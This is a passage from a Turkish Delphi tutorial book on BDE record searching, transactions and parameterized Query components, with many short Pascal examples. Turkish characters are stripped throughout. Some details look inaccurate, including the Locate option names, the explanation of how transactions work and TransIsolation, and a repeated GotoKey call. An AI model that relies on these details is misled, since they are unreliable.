end; Burada yine index in ok nemli olduunu hatrlatmak isterim. Kullanlacak olan index in Primary veya Secondary olmas komutlar iin nem arz etmez. Yanlz o stuna ait index in Object Inspector penceresinden veya kodla muhakkak aktifletirilmesi gerekecektir.

650

Kayt Arama lemleri: Bu blmde hangi kaytta olursanz olun, iinize yarayan kayd arayp bulma ilemini gerekletireceiz. Kayt arama ilemlerinde birden fazla stuna gre aramada yaptrabilirsiniz. Her eit yntemi rneklendirmeye alacam. Fazla kayt ieren tablolarda kayt arama ilemlerini muhakkak index tanmlayarak yapmalsnz. Bu size ok daha hzl sonu alma seenei yaratacaktr. Index in primary veya secondary olmas nem arz etmeyecektir. Delphide kayt arama ilemleri iin kullanlan birka yntem bulunmaktadr. Bu yntemlerin hepsini detayl olarak anlatmaya alacam. Ltfen dikkatlice inceleyiniz. Locate Methodu Bu method sayesinde indexli veya indexsiz stunlarda arama yaptrabilirsiniz. ndexli stunlarda yaptracanz aramalar ok daha hzl sonu verecektir. procedure TForm2.Button1Click(Sender: TObject); begin Table1.Locate('MAGAZAADI',Edit1.Text,[]);//Kayt Bul end; imdi aadaki tabloyu paradoxta oluturup zerinde ilemler yapalam.
Fieeld Name(Stun smi) MAGAZAADI ADRES TELEFON MUDUR SEHIR Type(Tipi) A A A A A 25 25 15 25 25 Size (Ka Karakter) Key(Primary ind) *

MAGAZAADI stununu primary index olarak tanmlamay unutmaynz. Tabloyu oluturduktan sonra daha nceki blmde anlatld gibi ierisine MIGROS DIA-GIMA maazalarnn bulunduu kaytlar girin (primary index olduu iin ayn maaza ismini ikinci kaytta kullanamazsnz). imdi aadaki tasarm oluturup Table nesnesine aktardnz kaytlarn tamamnn DataGrid nesnesinde gsterilmesini salayn. Daha sonra formunuza bir adet Edit kontrol ile bir adet Button kontrol yerletiriniz. Amacmz button kontrolne tkladmz zaman edit ierisindeki maazay bulup aktif hale geirmek olacaktr.

651

Bu methodun nemli bir zelliide bulunan kaydn aktif kayt haline getirilmesidir.

Yukarda verilen tasarm oluturduktan sonra Kayt Bul dmesine aadaki kod satrlarn ekleyiniz. procedure TForm2.Button1Click(Sender: TObject); begin Table1.DefaultIndex:=true;//primary index aktif Table1.Locate('MAGAZAADI',Edit1.Text,[]);//Kayd bul end; Bu rnekte kk byk harf duyarll bulunmaktadr. Yani kk harfle migros yazarsanz kayd bulamazsnz. ayet bu hassasiyeti ortadan kaldrmak istiyorsanz kullanlan nc parametreyi aadaki ekilde deitirmelisiniz. procedure TForm2.Button1Click(Sender: TObject); begin Table1.DefaultIndex:=true;//primary index aktif Table1.Locate('MAGAZAADI',Edit1.Text,[loCaseInsensitive]);//duyarsz end; nc parametrenin alabilecei seenekler aada verilmitir.
Parametre foCaseInsensitive foNoPartialCompare Sonu Kk-Byk Harf Duyarll Yok Alan Parasna Gre Arama Yaplabilir.

652

Aranan kaydn bulunamas sizin iin nem arz ediyorsa o zaman kodunuzu aadaki ekilde deitirmelisiniz. procedure TForm2.Button1Click(Sender: TObject); var ara:Boolean; begin Table1.DefaultIndex:=true;//primary index aktif ara:=Table1.Locate('MAGAZAADI',Edit1.Text,[loCaseInsensitive]); if ara=false Then ShowMessage('Kayt Bulunamad'); end; Burada kullanlan ara isimli deiken, kaydn bulunamamas durumunda false, bulunmas durumunda ise true deerini almaktadr. Daha sonra bu deeri kullanarak kaydn bulunup bulunamadn kolayca renebilirsiniz. Birden Fazla Stuna Gre Arama Yaptrmak: Kayt arama ilemi iin tek stun yeterli deilse, birden fazla kriter kullanacaksanz o zaman aadaki yntemi uygulamanz gerekecektir. Formunuza ikinci bir Edit kontrol yerletirerek aadaki tasarm oluturunuz.

Aada yazacamz kodu altrabilmeniz iin Uses satrna Variants ktphanesini eklemelisiniz. 653

procedure TForm2.Button2Click(Sender: TObject); //uses satrna Variants eklemeyi unutmaynz. var ara:Boolean; begin ara:=Table1.Locate('ADRES;MUDUR',varArrayOf([Edit1.Text,Edit2.Text]),[]); if not ara Then ShowMessage('Kayt Bulunamad'); end; Yukardaki rnekte ADRES ve MUDUR stununa gre arama yaptrlmaktadr. Edit1 kontrolne girilen deer ADRES iinde, Edit2 kontrolne girilen deerde MUDUR stunu ierisinde aratlmaktadr. Ayn kaytta ikisine rastlarsa o kayd aktif hale getirmektedir. ayet kayd bulamazsa ara isimli Boolean tip deiken false deerini alarak kayt bulunamad uyarsn kullancya iletmektedir. SetKey-GotoKey Methodlar Index li stunlara gre kayt aramas yaplabilen ikinci yntemdir. Kullanmna ait rneklendirme aada yaplmtr. Table1.SetKey Kayt arama ilemini balatan komuttur. Sadece indexli stunlar iin kullanlabilmektedir. procedure TForm4.Button1Click(Sender: TObject); begin Table1.SetKey;//Kayt arama ilemine bala end; Table1.GotoKey Aranan kritere uygun kayd aktifletirmek iin kullanlan komuttur. Sadece indexli stunlar iin almaktadr. procedure TForm4.Button1Click(Sender: TObject); begin Table1.GotoKey; //harf duyarll var end;

654

imdi aadaki form tasarmn oluturup SetKey-GotoKey methodlarn rnek ierisinde kullanmn grelim.

Aadaki kod satrlarn Kayt Bul buttonunun OnClick yordamna ekleyiniz. procedure TForm4.Button1Click(Sender: TObject); //Kayt Bul begin Table1.SetKey;//Kayt arama ilemine bala Table1.FieldByName('MAGAZAADI').AsString:=Edit1.Text;//kriter Table1.GotoKey; //harf duyarll var if Table1.GotoKey=false Then ShowMessage('Kayt Bulunamad'); end; SetKey-GotoNearest Methodlar Aradnz kaydn ieriini tam olarak bilmiyorsanz, veya tamamn yazmadan arama yapabilmek iin kullanlan methodlardr. SetKet aramaya balayabilmek iin gerekli komut olup nceki rnekle ayn karakteristii tamaktadr. Table1.GotoNearest Belirtilen alan parasna gre arama yapabilen methoddur. Ayn ekilde kritere uyan kayt bulunduu zaman aktifletirilecektir. Aada bu methodlarn beraber kullanmna ait rneklendirme yaplmtr. 655

procedure TForm4.Button2Click(Sender: TObject); //Alan parasna gre ara begin Table1.SetKey;//Kayt arama ilemine bala Table1.FieldByName('MAGAZAADI').AsString:=Edit1.Text; Table1.GotoNearest; //harf duyarll yok end; Lookup Methodu Kayd aktif yapmadan arama ilemi yapabilen methoddur. Kayt bulunduktan sonra, o kayda ait istenilen stun deeri deikene aktarlabilir. Aadaki rnekte bu husus ilenmektedir.

656

procedure TForm4.Button3Click(Sender: TObject); var ara:variant; begin ara:=Table1.Lookup('MAGAZAADI',Edit1.Text,'ADRES;MUDUR'); if VarIsNull(ara) Then //bo sa ShowMessage('Kayt Bulunamad') else ShowMessage('Maaza Adresi='+ara[0]+#13#10+'Maaza Mdr='+ara[1]); end; imdi verdiimiz kodu aklamaya alalm. Lookup methoduyla Maaza ad sutununda kritere uygun olan deer aranmakta, kayt bulunduktan sonra ADRES ara[0] isimli variant tip deikene, MUDUR de ara[1] isimli dier variant tip deikene aktarlmaktadr (buradaki ara isimli dizi deikeni kendisi otomatik olarak oluturmaktadr).

657

Transaction lemi: Toplu kayt ilemlerinde (kayt ekleme veya deitirme) veri gvenliini salamak amal kullanlan ok nemli bir yntemdir. Tablonuza dng ierisinde kayt girdiinizi dnn, arada bir tanesinde oluabilecek hata ok kt sonular dourabilecektir. Bu tr sonular engellemek amal transaction kullanrsanz, kaydetmeye balamadan (veya silmeye) nceki konuma dnp tekrar deneme ansnz olacaktr. ayet herhangi bir aksaklk olmazsa tm deiiklikleri kabul edip dier ilemlerinize geebilirsiniz. Transaction ilemini gvenlik asndan kullanmak zorunda (tam bir zorunluluk yoktur ama ok faydal olacaktr) olduunuz dier bir durumda network uygulamalardr. Bilgisayarlar aras bilgi tutarlln salamak iin tm kayt deiiklii ilemlerini Transaction kullanarak yapmalsnz. Bu size gvenli bir ortam yaratacaktr. Transaction ileminde Delphi nin yapt ilem, balatld anda bo bir Database oluturmak ve yaplan tm ilemleri (tablonuza deil) bu database kaydetmekten ibarettir. Uygulayacanz ilem baarl bir ekilde gerekleirse sonular Database den tablonuza kolayca aktarabilirsiniz. ayet bir aksaklk karsa bu durumda Transaction ilemini iptal ederek eski konumunuza dnebilirsiniz. Transaction ileminden sonra yaplan deiiklikleri bir btn olarak dnmelisiniz. Ya hepsini geri alrsnz veya hepsini topluca tablonuza yazdrrsnz. Aada Transaction ileminde kullanacanz komutlar gsterilmektedir. Uyar:ayet Transaction ilemi uygulayacaksanz tablonuzda muhakkak index bulunmal ve aktif hale geirilmelidir. Yukarda da bahsettiimiz gibi Transaction ilemi srasnda yaplan tm ilemler yenibir Database nesnesi ierisinde tutulacaktr. Bu yzden formunuza BDE yapranda yer alan Database kontrolnden bir adet yerletirmeyi unutmaynz. Database Kontrol BDE Yapranda yer alan bu kontrol sayesinde kolaylkla Transaction ilemini gerekletirebilir. Yapacanz tm deiiklikleri bu yeni Database ierisine kaydedebilirsiniz. Aada bu ilemleri baarl bir ekilde gerekletirebilmek iin Database kontrolne ait kullanabileceiniz zellik ve methodlar aklanmaya allmaktadr. 658

Database1.DatabaseName Database kontrolnn oluturulaca yeri belirlemek amal kullanlan zelliidir. Bu zellie kalasrn yolu girilebilecei gibi Alias isminide girebilirsiniz (siz hep alias ismini giriniz). procedure TForm2.FormCreate(Sender: TObject); begin Database1.DatabaseName:='gazi'; Table1.Open; end; DataBase1.Connected Database balantsn ap kapatmak iin kullanlan zelliidir. True deerinin aktarlmas balantnn kurulmas anlamn iermektedir. False deeri aktarlrsa balant kapatlacaktr. procedure TForm2.FormCreate(Sender: TObject); begin Database1.DatabaseName:='gazi'; DataBase1.Connected:=true; Table1.Open; end; Database1.StartTransaction Transaction ilemini balatan methoddur. Bu satrdan sonra tabloda yaplacak olan tm deiiklikler bu Database ierisinde kaydedilecektir. procedure TForm2.Button1Click(Sender: TObject); //Balat begin Database1.StartTransaction;//Transaction balat end; Database1.Commit DataBase ierisinde tutulan deiiklikleri tabloya yanstmak amal kullanlan komuttur. Bu komuttan sonra Transaction ilemi sona erecektir. Database ierisinde depolanan bilgiler sfrlanacaktr. Yeniden Transaction 659

uygulanacaksa bu kullanlmaldr.

komuttan

sonra

tekrar

StartTransaction

methodu

procedure TForm2.Button2Click(Sender: TObject); //Tabloya yaz begin Database1.Commit;//uygula end; Database1.Rollback StartTransaction methodundan sonra Database nesnesi ierisinde yaplan tm deiiklikleri iptal etmek amal kullanlan komuttur. Yine bu komut Transaction ilemini bitirecektir. ayet tekrar Transaction uygulanacaksa StartTransaction komutu tekrar verilmelidir. Deiikliklerin iptal edilmesinden sonra tabloda son durumu grmek isterseniz, tablonuzu Refresh etmelisiniz. procedure TForm2.Button3Click(Sender: TObject); //ptal Et begin Database1.Rollback;//Deiiklikleri iptal et Table1.Refresh;//son durumu tabloda gster end; Database1.InTransaction Transaction ilemi yokken RoolBack veya Commit komutlarn uygularsanz uygulamanz sizi kendi hata mesajnzla uyaracaktr. Bu yzden belirtilen komutla Transaction ileminin var olup olmadn kontrol edebilir, ona gre komut iletebilirsiniz. zelliin True deerini almas Transaction ileminin halen uyguland anlamn tamaktadr. procedure TForm2.Button3Click(Sender: TObject); //ptal Et begin if Database1.InTransaction=true Then begin Database1.Rollback;//Deiiklikleri ptal Et Table1.Refresh; end; end; 660

Database1.TransIsolation Transaction uygulanacak olan VeriTabannn a ortamndam yoksa lokaldemi olup olmadn belirleyen zelliidir. Alabilecei seenekler aada verilmitir.
TransIsolation tiReadCommitted tiDirtyRead tiRepeatableRead

procedure TForm2.FormCreate(Sender: TObject); begin Table1.DefaultIndex:=true;//index aktif olmal Database1.TransIsolation:=tiDirtyRead;//deitirmeyi unutmayn Database1.DatabaseName:='gazi'; DataBase1.Connected:=true; Table1.Open; end; imdi aadaki tasarm oluturarak verilen kodlar Unit pencerenize ekleyiniz. Uygulama iin formunuza bir adet Table, bir adet DataSource, bir adet Database, bir adet DataGrid, bir adet GroupBox, adette button kontrol yerletirin.

imdide uygulamanza ekleyeceiniz kod bloklarn verelim. Bu kodlar gerekli yordamlara ekleyiniz. 661

procedure TForm2.FormCreate(Sender: TObject); begin Table1.DefaultIndex:=true;//index aktif olmal Database1.TransIsolation:=tiDirtyRead; Database1.DatabaseName:='gazi'; DataBase1.Connected:=true;//balan Table1.Open;//kodla yapn end; procedure TForm2.Button1Click(Sender: TObject); //Balat begin Database1.StartTransaction;//Transaction balat Form2.Caption:='Transaction Ak'; end; procedure TForm2.Button2Click(Sender: TObject); //Tabloya yaz var deger:Integer; begin if Database1.InTransaction Then//transaction varsa begin Database1.Commit;//uygula ShowMessage('Tm Deiiklikler Kaydedildi'); Form2.Caption:='Transaction Kapal'; end else begin deger:=Application.MessageBox('Transaction Kapal Balatalmm', 'Transaction Balat',MB_YESNO); if deger=mrYes Then Database1.StartTransaction;//Tekrar Balat Form2.Caption:='Transaction Ak'; end; end; procedure TForm2.Button3Click(Sender: TObject); //ptal Et var deger:Integer; begin if Database1.InTransaction=true Then begin Database1.Rollback;//Tm deiiklikler iptal

662

Table1.Refresh;//Verileri yenile ShowMessage('Deiiklikler ptal Edildi'); Form2.Caption:='Transaction Kapal'; end else begin deger:=Application.MessageBox('Transaction Kapal Balatalmm', 'Transaction Balat',MB_YESNO); if deger=mrYes Then Database1.StartTransaction;//Tekrar Balat Form2.Caption:='Transaction Ak'; end; end;

Uygulamanz altrdktan sonra Balat dmesine tklayn (Transaction lemi balatlacaktr). Ardndan tablonuzdaki kaytlardan arka arkaya bir ka tanesini silin (sildiiniz kaytlar Database nesnesine kaydedildi). Sildiiniz kaytlar geri almak iin ptal Et dmesini, Tablonuzdan da silinmesi iin Tabloya Yaz dmesini tklayabilirsiniz.

663

Query Kontrol: Veri kaynana balant yapabilmek iin u ana kadar hep Table kontroln kullandk. Fakat Table kontrol veritaban balantlar iin tek seenek deildir. Dilerseniz Query kontrolyle de tablolarnza kolayca balanabilirsiniz. Query kontrol uygulamalarnzda sizlere ok daha fazla esneklik salayacaktr. Yinede balant seeneiniz tamamen sizlere kalmtr. Query kontrolyle yapacanz balantdan sonra tablonuza yine kayt girebilir, ayn ekilde deiiklikler yapabilirsiniz (Bu ilem her zaman mmkn olmayabilir. zellikle birden fazla tabloyu birletirerek bir sorgu oluturduysanz kayt ilemlerinizi yapmanza izin vermeyebilir. ok da mantkldr). Aadaki admlar izleyerek Query balanabileceinizi renebilirsiniz. kontrol ile Tablonuza nasl

Birinci admda formunuza bir adet ScrollBox kontrol yerletirip Align zelliine alClient deerini aktarn (Balant iin zorunlu deildir. Fakat formunuza ok estetik bir grnm kazandracaktr). kinci admda formunuza bir adet BDE Yapranda yer alan Query kontroln srkleyip brakn. Query kontroln seip DataBaseName zelliine tablonuzun bulunduu klasr referans gsteren Alias isminizi aktarn. Drdnc admda Object Inspector penceresinde yer alan SQL zelliine tklayarak alan editre sorgu komutlarnz girin.

OK Dmesine bastktan sonra Query kontrolnzn Object Inspector penceresinden (kodlada yapabilirsiniz) Active zelliini true yapn. 664

Formunuza DataAccess Yapranda yer alan DataSource nesnesinden bir adet yerletirip DataSet zelliine Query1 nesnesini aktarn. Yedinci admda formunuza bir adet DataControls yapranda yer alan DataGrid nesnesi yerletirip DataSource zelliine DataSource1 nesnesini aktarn. Artk uygulamanz altrabilirsiniz.

Tm kaytlarn DataGrid nesnesine aktarldn greceksiniz. Query1.DatabaseName Tablonuzun bulunduu klasr referans gsteren Alias ismini bu zellie aktarabilirsiniz. Bu sayede o klasrde bulunan tm tablolar kolayca sorgulanabilecektir (Klasr yolunuda verebilirsiniz ama siz hep Alias ismini kullann). procedure TForm1.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi';//Alias ismini aktarn end; Query1.SQL.Add Sorgu komutunuzu aktarabileceiniz methoddur. Burada sorgulamak iin DataBaseName zelliine aktardnz alias ierisinde bulunan tm tablo isimlerini kullanabilirsiniz (birden fazla tabloyu i ie sorgulayabilirsiniz). Query kontrolnz deki SQL sorgusunda yapacanz her deiiklikten sonra verileri izleyebilmek iin Query1.Open satrn kullanmalsnz. Aksi takdirde dzgn bir SQL komutu yazsanz bile sonular DataGrid nesnesinde gremezsiniz. 665

procedure TForm1.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.SQL.Add('Select * From servis');//sorgu komutlar Query1.Open; end; Query1.Open Query kontrol ierisinde yer alan kaytlar kullanma amay salayan methoddur. zellik sorgu komutlarnda yaplan her deiiklikten sonra kullanlmas gerekecektir (sadece zamann iyi belirlemelisiniz). procedure TForm1.FormCreate(Sender: TObject); begin Query1.Open; end; Query1.RequestLive Varsaylan olarak bu deer false dr. Yani Query kontrolnden kayt girme ilemi yaplamaz. ayet bu zellie True deerini aktarrsanz, tablonuza yeni kayt ekleyebilir, kayt deitirebilirsiniz (bilhassa birden fazla tabloyla alyorsanz bu zellie true aktarsanz bile kayt giremiyebilirsiniz). procedure TForm1.FormCreate(Sender: TObject); begin Query1.RequestLive:=true;//kayt ilemlerine izin ver end; Query1.Close Ak olan Query kontroln kapatmak iin kullanlan methoddur. ayet DataGrid nesnesi ieriklerini Query den alyorsa, bu komuttan sonra hi bir kayd gstermeyecektir. procedure TForm1.FormCreate(Sender: TObject); begin Query1.Close;//DataGrid hi bir kayd artk gstermez end; 666

Query Kontrolne Ait Yordamlar: Query kontrolyle ilem yaparken kontroln kulland bir ok tetikleyici ile alabilirsiniz. Aada bu tetikleyicilere deinilmektedir. AfterCancel Yordam Navigator kontrolndeki (kodla oluturmu ta olabilirsiniz)Cancel dmesinin tklanlmas durumunda ileyen bir yordamdr. procedure TForm1.Query1AfterCancel(DataSet: TDataSet); begin ShowMessage('lemi ptal Ettiniz'); end; AfterClose Yordam Query kontrol ile balant koptuu anda ileyen bir yordamdr. Query1.Close komutu bu yordam otomatik olarak iletecektir. procedure TForm1.Query1AfterClose(DataSet: TDataSet); begin ShowMessage('Balanty Kapattnz'); end; AfterDelete Yordam Query kontrolnden bir kaydn silinmesi durumunda otomatik olarak ileyen bir yordamdr. procedure TForm1.Query1AfterDelete(DataSet: TDataSet); begin ShowMessage('Kayt Silindi'); end; AfterEdit Yordam Query Edit moduna alnd anda (Navigator kontrolndeki Edit dmesine baslrsa) otomatik olarak ileyen bir yordamdr. Bu yordamn iletilmesi iin Query1.Edit komutunun verilmesi yeterli olacaktr.

667

procedure TForm1.Query1AfterEdit(DataSet: TDataSet); begin ShowMessage('Kayt Deitirme Moduna Getiniz); end; AfterInsert Yordam Kayt ekleme ilemi yapld anda otomatik olarak ileyen bir yordamdr. procedure TForm1.Query1AfterInsert(DataSet: TDataSet); begin ShowMessage('Kayt Eklemek stediniz'); end; AfterPost Yordam Kaydet dmesine basldktan sonra ileyen yordamdr. procedure TForm1.Query1AfterPost(DataSet: TDataSet); begin ShowMessage('Kayt lemi Baaryla Tamamkand'); end; AfterRefresh Yordam Refresh dmesine tklanldktan sonra otomatik olarak ileyen bir yordamdr. procedure TForm1.Query1AfterRefresh(DataSet: TDataSet); begin ShowMessage('Kaytlar Gncellendi'); end; OnCalcFields Yordam Query kontrolnde stunlar hesaplatmak iin kullanlan yordamdr. Table kontrolnde bu yordama rnek verilmitir. Bu yzden tekrar rneklendirilmeyecektir. rnek verilen yordamlarn Before ile balayanlar da After ile ayn zamanda tetiklenmektedir. Sadece birincisi ilem tamamlandktan nce dieri ise tamamlanmadan sonra ilemektedir. 668

Wizard Kullanarak Query Kontrolyle Tabloya Balanmak: Aadaki admlar balanabilirsiniz. izleyerek Query kontrol ile tablolarnza

File->New->Other seeneklerini sein. Alan New Item penceresinden Business yapranda yer alan Database FormWizard iconuna ift tklayn. Aadaki pencere alacaktr.

Bu pencerede DataSet Options ksmndan Create a form using Tquery objects seeneini iaretleyip Next dmesine tklayn. Yeni alan pencereden SERVIS tablonuzu bularak Next dmesine tklayn. Buradan sonraki admlar Table kontrolnde yaptmz ekilde tamamlayp Finish buttonuna tklayn.

Finish ten sonraki ekran grntnz yukardaki ekilde gerekleecektir. 669

Query Kontrolne Parametre Deeri Gndermek: ou durumda tablonuzda yer alan tm kaytlar deilde, sadece sizin iinize yarayan kaytlar listelemek isteyeceksiniz. Byle durumlarda Query kontrolne bana sadece gndereceim parametre deerine uyanlar listele demelisiniz. Bu ilemi yapmak hite zor deil. in ierisine parametre deeri girdii zaman aadaki zellik ve methodlarda renmeniz gerekmektedir. Query1.SQL.Clear Var olan Query yi kapatp tm parametreleri temizlemek iin kullanlan methoddur. procedure TForm2.Edit1KeyPress(Sender: TObject; var Key: Char); begin Query1.SQL.Clear;//parametreleri temizle end; Query1.SQL.Add Bu method daha nceden anlatlmt. Fakat burada hem sorguyu hemde parametreyi yaratacamz iin tekrar gstermemiz gerekiyor. procedure TForm2.Edit1KeyPress(Sender: TObject; var Key: Char); begin if Key=#13 Then begin Query1.SQL.Clear; Query1.SQL.Add('Select * from servis Where MAGAZAADI=:MAG'); end; end; Query1.SQL.Add('Select * from servis Where MAGAZAADI=:MAG'); Kod satrnda yer alan (Where MAGAZAADI=:MAG) blm hem parametreyi hemde sorgu koulunu belirlemektedir. Daha sonraki admlarda bu parametreye programnzn ierisinden kolayca deer gnderebilirsiniz. Sorgu ierisinde parametre belirlemek iin =: karakterleri kullanlmaktadr (aslnda buradaki = kendi grevini yapyor ama beraber dnmenizin bir sakncas yoktur). lk parametreyi params[0] veya ismi ile kullanabilirsiniz. kinci parametreyi yaratrsanz oda params[1] olacaktr.

670

Query1.Params[] Sogu komutu ierisinde yaratlan parametrelere deer gndermek iin kullanlan methoddur. Oluturulma srasna gre ilk parametre Params[0] ikinci parametrede Params[1] deikenleriyle adlandrlacaktr. procedure TForm2.Edit1KeyPress(Sender: TObject; var Key: Char); begin if Key=#13 Then begin Query1.SQL.Clear;//temizle Query1.SQL.Add('Select * from servis Where MAGAZAADI=:MAG'); Query1.Params[0].AsString:=Edit1.Text;//parametreye deer al end; end; imdi aadaki tasarm oluturup (Query kontrolyle oluturun) yukardaki zellik ve methodlar rnek zerinde deneyelim.

procedure TForm2.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('sELECT * fROM servis'); Query1.Open; end;

671

procedure TForm2.Edit1KeyPress(Sender: TObject; var Key: Char); begin if Key=#13 Then//enter tuuna basarsa begin Query1.SQL.Clear; Query1.SQL.Add('Select * from servis Where MAGAZAADI=:MAG'); Query1.Params[0].AsString:=Edit1.Text;//parametreye deer yolla Query1.Open; end; end; Kodlar ekleyip programz altrn. Edit kontrolne maaza ismini girip Enter tuuna basn. Girdiiniz deer parametre olarak sorguya gnderilecek, yazdnz maaza ismine ait kaytlar listelenecektir. Query1.ParamByName Params[] deikeni yerine bu zellii kullanarak ta sorgunuza parametre deeri gnderebilirsiniz. Query1.SQL.Add('Select * from servis Where MAGAZAADI=:MAG'); Query1.ParamByName('MAG').AsString:=Edit1.Text; Yukardaki rnekte yer alan kodu aadaki ekilde deitirip uygulamanz yeniden altrn. procedure TForm2.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('sELECT * fROM servis'); Query1.Open; end; procedure TForm2.Edit1KeyPress(Sender: TObject; var Key: Char); begin if Key=#13 Then begin Query1.SQL.Clear; Query1.SQL.Add('Select * from servis Where MAGAZAADI=:MAG'); Query1.ParamByName('MAG').AsString:=Edit1.Text; Query1.Open; end; end; 672

Parametre Olarak Tarih erikli Deiken Kullanmak: Parametre olarak kullanacanz deikenin deeri tarih ierikli olacak ise o zaman kodlamanz aadaki ekilde deitirmelisiniz.

procedure TForm2.FormCreate(Sender: TObject); //Balant ilemleri yaplyor begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('sELECT * fROM servis'); Query1.Open; end; procedure TForm2.Edit2KeyPress(Sender: TObject; var Key: Char); //Tarih deikenine gre sorgula begin if Key=#13 Then begin Query1.SQL.Clear; Query1.SQL.Add('Select * from servis Where SERVISTARIHI>=:SER'); Query1.ParamByName('SER').AsDate:=StrToDate(Edit2.Text); Query1.Open; end; end; Program altrn. Edit kontrolne koul tarihinizi girip Enter tuuna basn. Girdiiniz tarihten sonra yaplm olan tm servisler listelenecektir. 673

Parametre Olarak Parasal erikli Deiken Kullanmak: Parametre deeri olarak parasal deer kullanacaksanz, aadaki ekilde bir kodlama yapmalsnz.

procedure TForm2.FormCreate(Sender: TObject); //Balant iin gerekli olan kod satrlar begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('sELECT * fROM servis'); Query1.Open; end; procedure TForm2.Edit3KeyPress(Sender: TObject; var Key: Char); //Parametreye gre sorgula begin if Key=#13 Then begin Query1.SQL.Clear; Query1.SQL.Add('Select * from servis Where FATURATUTARI>=:FAT'); Query1.ParamByName('FAT').AsCurrency:=StrToCurr(Edit3.Text); Query1.Open; end; end;

674

Birden Fazla Parametre Deeri Gndermek: Oluturacanz sorguda birden fazla parametre deeri kullanacaksanz. Aadaki ekilde bir kodlama yapmalsnz.

procedure TForm2.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('sELECT * fROM servis'); Query1.Open; end; procedure TForm2.Button1Click(Sender: TObject); begin Query1.SQL.Clear; Query1.SQL.Add('Select * from servis Where FATURATUTARI>=:FAT and FATURATUTARI<=:FAT2'); Query1.Params[0].AsCurrency:=StrToCurr(Edit3.Text);//ilk parametre Query1.Params[1].AsCurrency:=StrToCurr(Edit4.Text);//ikinci parametre Query1.Open; end; Program altrp Edit kontrollerine parasal ierikleri girin. Ardndan Gster isimli buttona tklayn. Sadece yazm olduunuz kriterlerin arasndaki fatura tutarlar listelenecektir. Dier fatura tutarlarna ait satrlar gsterilmeyecektir.

675

Opsiyonel Parametreli Sorgu Oluturmak: Bu blmde yine sorgumuz iin iki adet Edit kontrol kullanacaz. Fakat ilerinden bir tanesi bo olduu zaman dier parametreye gre, ikiside dolu olursa iki kriteride dikkate alarak sorgulama yapacaz. ncelikle aadaki tasarm oluturunuz.

procedure TForm2.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('sELECT * fROM servis'); Query1.Open; end; procedure TForm2.Button2Click(Sender: TObject); //opsiyonel sorgulama begin if (Edit3.Text='') and (Edit4.Text='') Then ShowMessage('Ltfen En Az Bir Parametre Giriniz') else if Edit3.Text='' Then begin Query1.SQL.Clear; Query1.SQL.Add('Select * from servis Where FATURATUTARI<=:FAT'); Query1.Params[0].AsCurrency:=StrToCurr(Edit4.Text); Query1.Open; end else if Edit4.Text='' Then begin 676

Query1.SQL.Clear; Query1.SQL.Add('Select * from servis Where FATURATUTARI>=:FAT'); Query1.Params[0].AsCurrency:=StrToCurr(Edit3.Text); Query1.Open; end else begin Query1.SQL.Clear; Query1.SQL.Add('Select * from servis Where FATURATUTARI>=:FAT and FATURATUTARI<=:FAT2'); Query1.Params[0].AsCurrency:=StrToCurr(Edit3.Text); Query1.Params[1].AsCurrency:=StrToCurr(Edit4.Text); Query1.Open; end; end; Program altrn. ayet iki Edit kutusuda bo braklrsa Ltfen En Az Bir Parametre Giriniz uyars kullancya iletilecektir. ayet birinci kontrol doldurulup ikincisi bo braklrsa bu durumda ikinci kontrol hi dikkate alnmayacak, birinci parametre deerinin zerinde fatura tutar olan kaytlar listelenecektir. Ayn ekilde birinci kontrol bo braklp ikinci parametre deeri girilirse o zaman birinci parametre dikkate alnmayarak sadece ikinci parametreye aktarlan tutarn altndaki kaytlar listelenecektir. Eer iki parametreyede deer girilirse bu defa parametre deerlerinin arasndaki fatura tutarlarnn yer ald kaytlar listelenecektir.

677

Birden Fazla Tablo le almak: ok fazla stuna sahip tablolar yerine, daha az stunlu ve fazla tablo ile (tabiiki mmkn olabiliyor ise) almak performansnz etkileyen ok nemli bir faktrdr. Tablolar blme ilemi rasgele bir ekilde yaplamaz. Dikkat etmeniz gereken hususlar olacaktr. Bldnz iki tablo arasnda iliki kurabileceiniz bir stunun muhakkak olmas gerekecektir. Ayrca iliki yaratacanz stunlarn iki tabloda da indexlenmesi lazmdr. (Index lerin Primary veya Secondary olmas nem arz etmez. Ama genellikle statik bilgilerin yer ald tabloda primary, dinamik bilgilerin yer ald tabloda da secondary index kullanmak en iyi ve doru zmdr. Bu tr ilikiler Bire-ok lu iliki olarak adlandrlmaktadr). imdi aadaki iki tabloyu oluturarak, ilikili tablolarda ilemlerin nasl yaptrlabileceini aklayalm. Tablo1:MAGAZA TABLOSU
Fieeld Name(Stun smi) MAGAZAADI ADRES TELEFON MUDUR SEHIR Type(Tipi) A A A A A 25 25 15 25 25 Size (Ka Karakter) Key(Primary ind) *

Tablo2:SERVIS TABLOSU
Fieeld Name(Stun smi) SIRANO MAGAZAADI SERVISTARIHI GIDENFIRMA ARIZASEBEBI FATURATUTARI Type(Tipi) + A D A A $ 25 25 25 Size (Ka Karakter) Otomatik artar Key(Primary ind) * Secondary Index

Yukardaki iki tablo yerine tek bir tablo yapsaydnz, bir ok stuna gereksiz verileri girmi olacaktnz, haliylede hem skc olacakt, hemde tablonuzu bo yere iirmi olacaktnz. Tablolarn fazla bymesi performans etkileyen ok nemli bir faktrdr. ki adet tablomuz var. Bu tablolardan birincisi maazalara ait statik bilgilerin tutulduu ve maaza adnn Primary index olarak tanmland MAGAZA tablosu. kincisi ise maazalara ait dinamik bilgilerin yer ald ve maaza ad stununun Secondary index olarak tanmland SERVIS tablosu. Bu iki 678

tablo arasnda indexli stunlar kullanlarak Master-Detail form yaps oluturulacaktr (iliki yaratlacaktr). Uyar:Paradox tablolarnda primary index oluturmadan secondary index yaratamazsnz. Aadaki admlar izleyiniz. File->New-Other admlarn izleyerek alan pencereden Business yapran aktifletirin. DataBase Form Wizard seeneini seip OK Buttonuna tklayn. Karnza aadaki pencere alacaktr.

